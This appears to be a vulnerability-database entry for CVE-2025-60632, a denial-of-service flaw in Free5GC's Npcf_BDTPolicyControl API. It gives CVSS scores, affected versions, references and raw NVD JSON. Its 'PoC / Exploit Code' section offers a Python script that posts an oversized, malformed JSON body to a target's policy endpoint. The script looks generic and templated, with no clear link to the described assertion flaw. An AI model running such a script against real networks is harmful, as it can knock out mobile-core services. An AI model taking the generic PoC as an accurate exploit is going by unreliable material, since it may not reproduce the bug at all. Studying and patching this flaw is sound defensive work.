CVE-2025-60632

Description

An issue was discovered in Free5GC v4.0.0 and v4.0.1 allowing an attacker to cause a denial of service via crafted POST request to the Npcf_BDTPolicyControl API.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:4.0.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:free5gc:free5gc:4.0.1:*:*:*:*:*:*:* - VULNERABLE

Free5GC < 4.0.2

Free5GC v4.0.0

Free5GC v4.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-60632 PoC - Free5GC Npcf_BDTPolicyControl DoS

target_url = "http://target-ip:5000/npcf-bdtpolicycontrol/v1/policies"

def exploit_cve_2025_60632():
    # Malformed POST request to trigger DoS
    payload = {
        "invalid": "A" * 10000,  # Oversized payload
        "nested": {"key": "value"},
        "bdtPolicyId": "malformed_data"
    }
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "CVE-2025-60632-PoC"
    }
    
    try:
        response = requests.post(target_url, json=payload, headers=headers, timeout=5)
        print(f"Response Status: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

if __name__ == "__main__":
    exploit_cve_2025_60632()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60632
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60632
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60632/
[4] VulDB https://vuldb.com/cve/CVE-2025-60632
[5] https://github.com/free5gc/free5gc
[6] https://github.com/free5gc/free5gc/issues/705

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60632", "sourceIdentifier": "[email protected]", "published": "2025-11-24T16:15:49.893", "lastModified": "2025-12-01T16:16:31.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Free5GC v4.0.0 and v4.0.1 allowing an attacker to cause a denial of service via crafted POST request to the Npcf_BDTPolicyControl API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6AAA449D-BC30-48D9-BD40-912F36A6BB12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:4.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "685CADC6-6235-4ACC-AB3A-0A0E3E12FA0D"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/free5gc/free5gc/issues/705", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}